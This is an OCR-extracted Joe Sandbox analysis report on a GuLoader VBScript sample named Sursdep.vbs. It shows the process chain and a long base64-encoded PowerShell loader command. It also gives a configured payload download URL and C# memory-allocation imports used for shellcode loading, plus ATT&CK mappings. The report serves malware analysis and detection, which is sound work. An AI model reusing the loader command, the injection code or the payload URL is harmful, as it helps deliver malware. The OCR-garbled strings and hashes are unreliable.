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Windows Analysis Report

Sursdep.vbs

Overview

General Information Detection Signatures Classification

Sample
Name:

Analysis ID: 624865

MD5:
SHAL:
SHA256:

Tags:

Infos:

Found malware configuration

Sursdep.vbs
MALICIOUS

Yara detected GuLoader

434578c759befL.. Wscript starts Powershell (via cmd ..
GRS C2 URLs / IPs found in malware con...
5439ae4fellfedf.. . X
Encrypted powershell cmdline option...
Very long command line found
fiQ &dm

Found a high number of Window / U...

GuLoader Queries the volume information (nam...

Java / VBScript file with very long s...

Score: 72

Range: 0- 100 Drops PE files

Whitelisted: false Very long cmdline option found, this...
Confidence: 100%

May sleep (evasive loops) to hinder...

Process Tree

= System is w10x64

-i)

.

wscript.exe (PID: 6408 cmdline: C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\Sursdep.vbs" MD5: 9A68ADD12EB50DDE7586782C3EBIFFIC)
BN powershell.exe (PID: 5576 cmdline: C:\Windows\SysWOW64\WindowspowerShell\v1.0\powershell.exe" -EncodedCommand "IwBiAHIAZABMAGQAJABOAGSA
bgAgAFMAJAB2AG4AZQAgAF0AaQBUAGMAZQBKACAASQBOAEQAUWBUAFQAIABNAGUAJABOAGEACgBOAGEADQBNADCAIABTAGEADBABhACAAYWBIAGIAYQBSACAA
RgBPAFIAUWBUACAATWBZAHQAZQBVAGWAaQBOADEAIABVAG4AZABpAHMAYWBVAHUANgAGAEEAZABYAGUACWBZAGEAIABDAGEAbgBhAGQAaQASACAATWBWAEUA
UgBUAEEATABFACAAQYBIAGOAZQAJAGQAZQBzAHQACYB1AGSAdABpACAATWBTAFQARQBBAE4AUgBFAFQATgAJAEQACYBPAGYAJABZAHMAJABSAHIAMQAGAEKA
TgBEAEWARQBEAEUATgBEAEUAIABCAGEAZWBOADCAIABCAEEAUgBTAEWARQBEAEUAUWAGAESBATWBQAEgATWAgAEWAY QBJAGUAZAASACAADQAKAEEAZABKACOA
VAB5AHAAZQAGACOAVAB5AHAAZQBEAGUAZgBpAG4AaQBOAGKAbWBUACAAQAAIAAOACIBIAHMAaQBUAGCAIABTAHKACWBOAGUADQA7AAOACYB1AHMAaQBUAGCA
IABTAHKACWBOAGUAbQAUAFIAdQBUAHQAaQBtAGUALgBIAGAAdABIAHIAbWBWAFMAZQBYAHYAaQBJAGUACWA7AAOACYgBWAHUAY gBsAGKAYWAgAHMAJABhAHQA
aQBJACAAYWBsSAGEAcwBzACAASABIAHgAY QBzAHQAaQBJAGgAMQANAA0AeWANAACAWWBEAGWADABIAGOACABVAHIAJAAOACIASWBFAFIATgBFAEWAMWAYACIA
KQBAAHAAdQBIAGWAaQBJACAACWBOAGEAJABPAGMAIABIAHgAJABIAHIAbgAgAHY AbwBpAG QAIABSAHQADABNAGBAdgBIAEOAZQBtAG8ACgBSACJASQBUAHQA
UABOAHIAIABCAGEAZWBMAHUAbABZADUAMQASAHIAZQBMACAASQBUAHQAMWAYACAAQYBhAGCAZgBLAGWACWALADIALABPAGAAdAAGAEIAY QBNAGYAdQBSAHMA
NQAzACKAOWANAAOAWWBEAGWADABJAGOACABVAHIAJAAOACIAbgBOAGQADABSACAAZABSAGWAIgASACAARQBUAHQACYB5AFAAbWBPAGAAdAAIACIATGBOAEEA
bABsSAG8AYWBhAHQAZQBWAGKAcgBOAHUAY QBSAEOAZQBtAG8ACgB5ACIAKQBAAHAAIQBIAGWAaQBJACAACWBOAGEAJABPAGMAIABIAHgAdABIAHIAbgAgAGKA
bgBOACAAVgBBACgAaQBUAHQAIABIAGUAeABhAHMAJABPpAGMAaAA2ACWACYBIAGYAIABIJAGAAdAAZADIAIABTAGUAbQBPAHIAZQASAGKAbgBOACAAQYBhAGCA
ZgB1AGWACWAL1ACWACYBIAGYAIABIJAG4AdAAZADIAIABIAGUAeABhAHMAJABPAGMAaAASAGKAbgBOACAAUABYAGKAbgBOADJALABPAGAAdAAgAEgAZQBAAGEA
cwWBOAGKAYWB0OADCAKQA7AAOACYBbAEQADABSAEKADQBWAGBACgBOACYAIgBVAFMARQBSADMAMYAIACKAXQBWAHUAY gBsAGKAYWAgAHMAJABhAHQAaQBJACAA
ZQB4AHQAZQBYAG4AIABJAGAAdABQAHQACgAGAEUAbgB1AGOAVWBPAGAAZABVAHCACWAOAHUAaQBUAHQAIABCAGEAZWBMAHUADBABZADUANQASAGKAbgBOACAA
QgBhAGCcAZgB1AGWACWAIADYAKQA7AAOACYBIAAOACIAIAEAADQAKACMARABFAEgGAQQBDAEgARQAGAFQAbWBZAHMAZQAZACAAVABIAGEAJABIAHIANgGAgGAGQA
aQBhAGWAZQBjJAHQAaQBJACAARQBOAEWASQBTAFQARQBEAFIAIABGAGQACWBIADCAIABBAHMAJABYAGBAIABTAHCAZQBYAHYAZQBYADKAIABKAGBAdwBUAGUA
eQAgAHIAaQBIAGgAdQBzAHQAIABUAGEAZWBYACAAUWBWAHIAZWBIAHMAIABWAGKAbABSAGEANQAGAEGAZQBOAGUACYBVAGQAeQBUADEAIABFAFUAUABMAESA
SQAJAEIAeQBOAHQAZQAZACAACWBUAGSAZQBYAGYACgAgAEIAdQBUAGQAZWBhAHIAbgAgAHMAJABYAGOAawByAGUAZABZACAATABOAGAAaQBUAGCAYgBpADUA
IABpAG4AZABZACAAQQBPAHIADABpAGYAdAALIACAATWBDAFQAQQBWAEKATgBBAFYASQAgAFMAawBVAGsAbwBtAGKACWBOAGIAIABVAGQACgBIAGAACWBUAGKA
bgBnADUAIABUAGgAcgBhAHCAYWB5ACAATQBVAGA4AbwBzAGBAZABPADUAIABPpAGOACABhAGWAZQBIAGUAIABIAGAAZABZAGEAdABZAGUAbgBOADCAIABVAHIA
ZABIAG4AcwWBtACAAIAANAAOAIABIAGUAeABNAHMAJABPAGMAaAAzZADOAMAA7AAOACIAKAEGAZQBAAGEACWBOAGKAYWBOADKAPQAXADAANAA4ADUANWA2ADSA
DQAKACQASABIAHgAYQBzAHQAaQBJAGgAOAAIAFSASABIAHGAYQBzAHQAaQBjAGgAMQBAADOAOgBWAEEAKAALADEALABBAHIAZQBMAFOAJABIAGUAeABhAHMA
dABpAGMAaAAzZACWAMAASAFsACBIAGYAXQAKAEgAZQBAAGEACWBOAGKAYWBOADKALAAXADIAMgA4ADgALAA2ADQAKQANAAOAJABTAGUAbgBhAHQAZQBYAGYA
bwA9ACgARWBIAHQALQBJAHQAZQBAFAACYGBVAHAAZQBYAHQAeQAgACOAUABhAHQAaAAGACIASABLAEMAVQAGAFWAUWBVAGYAJAB3AGEACYBIAFWAVABJAESA
TABPAECAIgApAC4AQQBJAGUAJABhAGOAaQBKkAHAAGAAYAAOACIANAAOAIABVAHQAaQBSACAAPQAgAFSAUWB5AHMAJABIAGOALgBCAHKAJABIAFSAXQBAJADOA
OgBDAHIAZQBhAHQAZQBJAG4ACcWBOAGEADbgBJAGUAKABbAFMAeQBzAHQAZQBIAC4AQYB5AHQAZQBAACWAJABTAGUAbgBhAHQAZQBYAGY AbwAUAEWAZQBUAGCA
dABOACAALWAGADIAKQANAAOADQAKAAOACYJANAAOARGBVAHIAKAAKAGKAPQAWADSAIAAKAGKAIAAAGWAJAAGACQAUWBIAGAAY QBOAGUACgBMAGSBALgBMAGUA
bgBnAHQAaAA7ACAAJABPACSAPQAYACKADQAKAAKAeWANAAOAIAAGACAAIAAGACAAIAAGACQAVQBOAGKABABBACQAaQAVADIAXQAgADOAIABbAGMAbwWBUAHYA
ZQByAHQAXQABADOAVABVAEIAeQBOAGUAKAAKAFMAZQBUAGEAJABIAHIAZgBVAC4AUWB1AGIAcWBOAHIAaQBUAGCAKAAKAGKALAAGADIAKQASACAAMQA2ACKA
DQAKACAAIAAgACAATQANAAOADQAKAAOACIBMAGBACgAOACQAYWBVAGAAYWBVAGOAaQBOAGEAPQAWADSAIAAKAGMAbwBUAGMAbWBIAGKAdABhACAALQBSAHQA
IAAKAFUAJABPAGWALGBJAGBAdQBUAHQAIAAZACAAJABJAG8ADYBJAGBABQBPAHQAY QArACSAKQANAA0AeWANAAOACQANAACAWWBIAGUAeABhAHMAJABPAGMA
aAAXAFOAOgABAFIAdABSAEOAbwB2AGUATQBIAGOAbwBYAHKAKAAKAEgGAZQBAAGEACWBOAGKAYWBOADMAKWAKAGMAbWBUAGMAbwBtAGKAJABhACWAWWBYAGUA
ZgBdACQAVQBOAGKAbABbACQAYWBVAGAAYWBVAGOAaQBOAGEAXQASADEAKQANAAOADQAKAHOADQAKAFSASABIAHGAY QBzAHQAaQB]AGGAMQBAADOAOYGBFAGAA
dQBtAFcAaQBUAGQAbWB3AHMAKAAKAEgGAZQBAAGEACWBOAGKAYWBOADMALAAGADAAKQANAAOADQAKAAOACYA= MD5: DBA3EG449E97D4E3DF64527EF7012A10)

. conhost.exe (PID: 1436 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e [ csc.exe (PID: 6624 cmdline: C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qchgzoit\qchgzoit.c

mdline MD5: 350C52F71BDED7B99668585C15D70EEA)
o BT cvires.exe (PID: 6724 cmdline: C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe /INOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\A
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ppData\Loca\Temp\RESCO09A.tmp" "c:\Users\user\AppData\Local\Temp\qcbqzoit\CSC5984C3E5F49B45B5B1AD6CB2401B5385. TMP" MD5:
C09985AE74F0882F208D75DE27770DFA)
= cleanup

Malware Configuration

Threatname: Guloader

"Payload URL": "https://cdn.discordapp.com/attachments/973448911232585778/973449155060047882/Enrico-7173724. jpg2"

Yara Signatures

Memory Dumps

Source Rule Description Author Strings
0000000C.00000002.782730251.0000000009DF0000.00000 JoeSecurity_GuLo Yara detected Joe Security
040.00000800.00020000.00000000.sdmp ader_2 GuLoader

Sigma Signatures

@ No Sigma rule has matched

Snort Signatures

@ No Snort rule has matched

Joe Sandbox Signatures

AV Detection

Found malware configuration

Networking

C2 URLs / IPs found in malware configuration

System Summary

Wscript starts Powershell (via cmd or directly)

Very long command line found

Data Obfuscation

Yara detected GuLoader

HIPS / PFW / Operating System Protection Evasion m [::l
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Encrypted powershell cmdline option found

Mitre Att&ck Matrix

Initial
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and
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Local At
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Copyright Joe Security LLC 2022

Privilege

Escalation

Process
Injection

Boot or
Logon
Initializatio
n Scripts

Logon
Script
(Windows)

Logon
Script
(Mac)

Network
Logon
Script

Rc.commo
n

Defense
Evasion

Masqueradi
ng

Virtualizatio
n/Sandbox
Evasion

Process
Injection

Deobfuscat
e/Decode
Files or
Information

Scripting

Obfuscated
Files or
Information

Credential
Access

()
Credential
Dumping

LSASS
Memory

Security
Account
Manager

NTDS

LSA
Secrets

Cached
Domain
Credentials

Discovery

Process
Discovery

Virtualizatio
n/Sandbox
Evasion

Application
Window
Discovery

File and
Directory
Discovery

System
Information
Discovery

System
Owner/Use
r Discovery

Lateral
Movement

Remote
Services

Remote
Desktop
Protocol

SMB/Wind
ows Admin
Shares

Distributed
Component
Object
Model

SSH

VNC

Collection

Archive
Collected
Data

Data from
Removable
Media

Data from
Network
Shared
Drive

Input
Capture

Keylogging

GUI Input
Capture

Exfiltration

Exfiltration
Over Other
Network
Medium

Exfiltration
Over
Bluetooth

Automated
Exfiltration

Scheduled
Transfer

Data
Transfer
Size Limits

Exfiltration
Over C2
Channel

Command
and
Control

Encrypted
Channel

Application
Layer
Protocol

Steganogra
phy

Protocol
Impersonati
on

Fallback
Channels

Multiband
Communic
ation

Network
Effects

Eavesdrop
on Insecure
Network
Communic
ation

Exploit SS7
to Redirect
Phone
Calls/SMS

Exploit SS7
to Track
Device
Location

SIM Card
Swap

Manipulate
Device
Communic
ation

Jamming or
Denial of
Service

Remote
Service
Effects

Remotely
Track
Device
Without
Authorizati
on

Remotely
Wipe Data
Without
Authorizati
on

Obtain
Device
Cloud
Backups

Impact

Modify
System
Partition

Device
Lockout

Delete
Device
Data

Carrier
Billing
Fraud

Manipulate
App Store
Rankings
or Ratings

Abuse
Accessibilit
y Features

Page 6 of 21



Screenshots

Thumbnails

Behavior Graph

D: 624865
Sample: Sursdep.vbs
Startdate: 12/05/2022
Architecture: WINDOWS
Score: 72

Wscript starts Powershell
(via cmd or directly)

Legend
SUSPICIOUS D Process
CLEAN X
UNKNOWN D Slgnature
I:I Created File
Il onsieinfo
N et started £, Is Dropped
A% Is Windows Process
Ias Number of created Registry Values
% wscript.exe ...' 1]

Y

1

G B

g5
2z
oz

)

i
i
=

Very long command line. Encrypted powershell
found

cmdiine option found starte

£ powershell.exe

Q@ 2|

Number of created Files
Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious
~ B: Internet
/ started \ started
cscexe o conhost exe o
n B: @
dropped

C:\Users\user\AppData\Local\...\qcbgzoit.dll, PE32 started

cwtres.exe ...U

|

G = W

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Excel 2016

l L

GIGIYTFFYT

. 40 AM
HH 0 Type here to search it if - 022 =]

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

Sursdep.vbs 10% ReversingLabs Win32.Trojan.Valyr
ia

Dropped Files

@ No Antivirus matches

Unpacked PE Files

@ No Antivirus matches

Domains

@ No Antivirus matches

URLs

Source Detection Scanner Label Link

hitp:/fcrl.microsoft.cl 0% Avira URL Cloud safe
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Domains and IPs

Contacted Domains

@ No contacted domains info

Contacted URLs

Name

Malicious Antivirus Detection

http://https://cdn.discordapp.com/attachments/973448911232585778/973449155060047882/Enrico-  false

7173724.jpg2

URLs from Memory and Binaries

Name

http://crl.microsoft.cl

http://
schemas.xmlsoap.org/ws/2005/05/identity/claims/nam
e

World Map of Contacted IPs

@ No contacted IP infos

General Information

Joe Sandbox Version:
Analysis ID:
Start date and time: 12/05/202207:35:09

Source Malicious

powershell.exe, 0000000C.00000003.376188 false
015.0000000008168000.00000004.00000800.0
0020000.00000000.sdmp, powershell.exe, 0
000000C.00000002.780195557.000000000816C
000.00000004.00000800.00020000.00000000.sdmp

powershell.exe, 0000000C.00000002.774975 false
803.0000000005491000.00000004.00000800.0
0020000.00000000.sdmp

34.0.0 Boulder Opal
624865
2022-05-12 07:35:09 +02:00

Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 8m 25s
Hypervisor based Inspection enabled: false

Report type: light
Sample file name: Sursdep.vbs
Cookbook file name: default.jbs

Analysis system description:

Number of analysed new started processes 34

analysed:

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification:

EGA Information: .

mal72.troj.evad.winVBS@8/8@0/0

Successful, ratio: 100%

HDC Information: Failed

HCA Information:

.

.

Cookbook Comments:

e o o o

Copyright Joe Security LLC 2022

Successful, ratio: 99%
Number of executed functions: 0
Number of non-executed functions: 0

Found application associated with file extension: .vbs

Adjust boot time

Enable AMSI

Override analysis time to 240s for JS/VBS files not yet terminated

Antivirus Detection

e Avira URL Cloud: safe

Reputation

high

Reputation

unknown

high

Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, |E 11, Adobe Reader DC 19, Java 8 Update 211
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Warnings

e Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, backgroundTaskHost.exe, UsoClient.exe, audiodg.exe, BackgroundTransferHost.exe,
UpdateNotificationMgr.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe

e Excluded domains from analysis (whitelisted): www.bing.com, ris.api.iris.microsoft.com, fs.microsoft.com, go.microsoft.com, store-images.s-microsoft.com, login.live.com, sls.update

.microsoft.com, ctldl.windowsupdate.com, settings-win.data.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com

Not all processes where analyzed, report is missing behavior information

Report size getting too big, t oo many NtOpenKeyEx calls found.

Report size getting too big, t oo many NtProtectVirtualMemory calls found.

Report size getting too big, t oo many NtQueryValueKey calls found.

e o o o

Simulations

Behavior and APIs

Time Type Description

07:37:01 API Interceptor 33x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

@ No context

Dropped Files

@ No context

Created / dropped Files

C:\Users\user\AppData\Local\Temp\RESCO9A.tmp

Process: C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe

File Type: Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols
Category: dropped

Size (bytes): 1328

Entropy (8bit):  3.993517342401873

Encrypted: false

SSDEEP: 24:Hbie9E2gMJIeXhHKhKE2mfll+ycuZhNbakSNPNng9qd: 7uMOXWK1mglulba3Xq9K

MD5: 50764A382BED8090A5DC227C64649AA6

SHAL: D60A20D5E4EEO0A1B44B71BE1FCA6C3540F17DB4C

SHA-256: CDAD8SA9BD1D0A805A0C58D2E60096D374AE1C71FA7A8B14365ACCADAA3278247

SHA-512: 01D8CACAD83A915EAFOE2BIE12COESD78DAA70B8513D0ES21D2E701F743C38A5CE997D9724947636F2F1CCD29C369545AE4899D3881818AF1B4994A61B9112!
Malicious: false

Reputation: low
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Preview:

X O @..@.rsrc$02........ P, @..Q@........ T....c:\\Users\user\AppData\Local\Temp\qchqg
z0it\CSC5984C3E5F49B45B5B1AD6CB2401B5385. TMP.... eRL 4. C:\Users\user\AppData\Loca\Temp\RESCO9A.tMP.-.<........ccceuvenn "...Microsoft
(R) CVTRES.\.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvires.exe. Ouriieeeeeee H....... L.

ceHe L4 V.S._V.ERSION_ILNF.Ouccoeiieieiicceecee 2D VaarFlilleinfoo.. 8. Torains.Lation.. S.tring.F.ile.lnfo.....0
.0.0.0.0.4.b.0...,....F.il.e.D.e.s.crip.tio.n.... ...0...FileV.ers.io.n...0..0..0..0..<...lLnternalNam.e..g.cb.gzo.t.dll..(..Leg.alC.0p.y.right.. ..D
.....0ri.g.in.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2mnz4klw.uec.ps1

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

very short file (no magic)

dropped

1

0.0

false

3:U:U

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB
6B86B273FF34FCE19D6BB04EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

4DFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBODFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FOBD058A12A280433EDG6FA4651
0A

false
high, very likely benign file
1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5rdlx0cl.ffh.psm1

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

very short file (no magic)

dropped

1

0.0

false

3:UU

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB
6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01ES52DDB7875B4B

ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FOBD058A12A280433ED6FA4651
0A

false
high, very likely benign file
1

C:\Users\user\AppData\Local\Temp\qcbqzoit\CSC5984C3E5F49B45B5B1AD6CB2401B5385.TMP

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe

MSVC .res

dropped

652

3.097813663729056

false
12:DXt4li3ntuAHia5YA49aUGigMZAIN5gry5ak7YnqgNPN5DIg5J:+RI+ycuZhNbakSNPNngX
BFA61601609B65A352B90B163AD92708
67FOCAF87EDOAG64AB1D0D64CC5435BF6AB6D8C32
645552E7D99784AC86213A9B021FAA9321191363E4A13DCIDAF472E70FD1FCO05

6C9514DEC44A59CDACA27ACD75F21FA9BO8FES4032853EB73E02D5BD680D14CDBAD02D1783AF8459ED911FAA74A80D385DA98AES0D410F3E9B2E2CE6EISFD:
711

false
low

............................... L..< cocooaod Uhnoconoood EefbodV /oSt Vo Sl RESHHOUN,_NU=4C) i 2 DV Filedinfo L S Trans.Lation. ...
S.trin.g.F.ilelnfo......0.0.0.0.04.b.0.......FileD.es.crip.tion.....0..FileV.ers.io.n...0..0..0..0..<...lnternalNam.e..qg.cb.g.zo.it.dllL..(.
.LegalcCo.pyright. ..D...OriginalF.ilename..qg.cb.qgzo.t.dll..4..Pro.du.c.tV.ers.io.n.0..0..0..0.8..Assemb.ly. V.ers.io.n..0.
0...0...0...
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C:\Users\user\AppData\Local\Temp\qcbqzoit\qcbqzoit.0.cs

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

487

5.236532790609796

false
12:V/IDGrOnHWP7xReX6Sq76zSPRHC9ftAnHCARHpWfOQAKaD:JowWPFRI6SZzSICOftErpWhAV
56B3B782DBCC5028A8050646F2177FB1

8B819399A5BC15644D6B81D5438A7B78E34662FC
A4DC022E81A07FEDD233869623B65353C72084C6C7971DA2F4A222F2C2223A3A

93F796C7CAGBAAAT8D3EALIC35E97C1C1FC5CE13ED5S28856DF53BF84FD254E6D2165D0A1122F321008C1DE4EEBO0B4B3AFFDB23E5A95709F42305413011BB1A
8B

false

.using System;..using System.Runtime.InteropServices;..public static class Hexastich1..{..[Dllimport("KERNEL32")]public static extern void RtIMoveMemory(IntPtr
Bagfuls51,ref Int32 Bagfuls52,int Bagfuls53);..[Dllimport("ntdil.dll*, EntryPoint="NtAllocateVirtualMemory")]public static extern int VA(int Hexastich6,ref Int32 Semire,int
Bagfuls5,ref Int32 Hexastich,int Print8,int Hexastich7);..[Dllimport("USER32")]public static extern IntPtr EnumWindows(uint Bagfuls55,int Bagfuls56);..}

C:\Users\user\AppData\Local\Temp\qcbqzoit\qcbqzoit.cmdline

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators

dropped

369

5.249622395769351

false
6:pAu+H2LvkuqIDdgxLTKbDdgB/6K2WXp+N23frr+zxs7+AEszIWXp+N23frH:p37Lvkmb6KHUWZES;]
4B03765228B1DFBB3313575C2824DEAE

EAEOCE9B2F452460E15223A66FCC608CDD8C39FC
F3201AEA44DEFD2AESEC52CFB334D7A2AEE14AAC2E486EEAFIEOSAATTELCT75C
9511A535A7DB47C47D1A27E2C3265F33410379104C80A7229CDDB29FFAB34FB77521AAD9879CF04E63858F7E1F5B280A2207237D770C5EB0217FA1D0O28ES0AE:
false

Jtlibrary /utfoutput /R:"System.dIl" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\Sys
tem.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\gcbgzoit\qcbgzoit.dll* /debug- /optimize+ /warnaserror /optimize+ "C
:\Users\user\AppData\Local\Temp\qcbgzoit\qcbgzoit.0.cs"

C:\Users\user\AppData\Local\Temp\qcbqzoit\qcbqgzoit.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe

PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

3584

2.8000221495098234

false
24:etGSocOAGKIYb89Y75uhsQudpvcz/KIjIMKINMymtkFP1ISQ3yF4WI+ycuZhNbag:61blYoGZQu49KsfOBFP1wIT1ulba3Xq
BD0D2573889BESE9B71C3B343C8D3BDY9

48AC592257D6395B8F53913F2033326CBF19339C
71AA0CA2C67E77607D3D67FFIBDO5SECF5AA860B75F4FADAF20FA58300CDA7D0O7
F770DE47D0F9317E5B1814C6E7B23CD059C51810BDB581DC39110A8431ACC3D014EB6544145C3C7707E10FA92F003F91D97253D16DC308A1F2DF7180B8A321L

false

Lotextt

. #Strings....T......#US\....... #GUI
Jovoen Vo e

C:\Users\user\AppData\Local\Temp\qcbqzoit\qcbqgzoit.out

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

Encrypted:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, CR line terminators
modified

867

5.330173652044865

false
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SSDEEP: 24:KBqd3kabKHVE8CKaM5DgBVKVrdFAMBJITH:Uika6AvVESCKXDcVKdBJj

MD5: AC172B3CF95D748C6E6352CE803F27BD

SHAL: EEC9A889B77B8046EE7FE9A4E2D52ES5EBD6G55A51

SHA-256: 8AB3CF14F685B8758C634DE059B0717DA6D0OC70F56BE9A46F82188C8B35F2360

SHA-512: FAEC5BC4CECD50B724E2C0B560FF20B129DC8E23F7753862864D7493D595A66A8AA4DOEEBF596A6E0296CD839055B71E09967C149289081C857D949C9C8441L

Malicious: false

Preview: .C:\Users\user\Desktop> "C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dIl" /R:"C:\Windows\Microsoft.Net\assembly\GAC
_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dIl" /out:"C:\Users\user\AppData\L
ocal\Temp\qcbgzoit\qcbqzoit.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\gcbgzoit\qcbqgzoit.0.cs"......Microsoft (R) Visual C#
Compiler version 4.7.3056.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved....... This compiler is provided as part of the Microsoft (R) .NET Framework,
but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see
http://go.microsoft.com/fwlink/?LinkID=533240....

Static File Info

General

File type: UTF-8 Unicode text, with CRLF line terminators

Entropy (8bit):  4.512652632027618

TriD: e Visual Basic Script (13500/0) 100.00%

File name: Sursdep.vbs

File size: 236357

MD5: 434578c759befldb26fa7b3165ac84ad

SHA1L: df84b67b8df35a4ab8770b9f3c3f370e26b7763a

SHA256: 5439ae4fel1fe9f6f264fc0d4617eefa997719d9b65be8745d3632b2203e3557

SHA512: ca491ccchb1db8a3088bdbdc01cal34f1f3540208d671f21d644c3dbab4b62ca502fa8dbf46b19f542e9f6ffa8d464290915ba0341c807354c4971f48943e1fd8

SSDEEP: 3072:GXDrUO7/A9bLSzUFA7UgMAZ5uNIthOD2Xq6s2mFg1:4H09i434Z5uCIhLXC2p1

TLSH: 5C348B0995D6C1A065DFD50DE4113988F79CF8AEFFB32DAD768309C6D0F8051AE8BA90

File Content ‘elaeocar Fredni8 kildeteks SEKSEREN trknings Blomsterga Drummers5 Ramhe Tvungen Vermicleno RYGSTDINDI Kontere Abortede KRET agtetsed Midtve8 Suprac

Preview: Incrus Balneaeu6 Systemrela4 NATIONER denegat Interplay Intergen dandyisms FERR ..'TVILLIN Overm7 Kvarkssu

Filelcon

Icon Hash: e8d69ece869a9ec4

Network Behavior

©@ No network behavior found

Statistics

Behavior

@ wscript.exe

@ powershell.exe
@ conhost.exe

@ csc.exe

@ cvires.exe
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@

System Behavior

Click to jump to process

Analysis Process: wscript.exe PID: 6408, Parent PID: 3968

General

Target ID: 0

Start time: 07:36:11

Start date: 12/05/2022

Path: C:\Windows\System32\wscript.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\Sursdep.vbs"
Imagebase: 0x7ff7d5450000

File size: 163840 bytes

MD5 hash: 9A68ADD12EB50DDE7586782C3EBIFFIC

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language
Reputation: high

File Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path Access Attributes Options Completion

File Path Offset Length Completion

Registry Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Key Path Completion

Key Path Name Type Data Completion

Analysis Process: powershell.exe PID: 5576, Parent PID: 6408

General

Target ID: 12

Start time: 07:36:41

Start date: 12/05/2022

Path: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Copyright Joe Security LLC 2022

Count Source Address Symbol

Count Source Address Symbol

Count Source Address Symbol

Count Source Address Symbol
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Wow64 process (32bit):

Commandline:

Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

File Created
File Path

C:\Users\user

C:\Users\user\AppData\Roaming

C:\Users\user\AppData\Local\Temp\__PSscr
iptPolicyTest_2mnz4kiw.uec.psl

C:\Users\user\AppData\Local\Temp\__PSscr
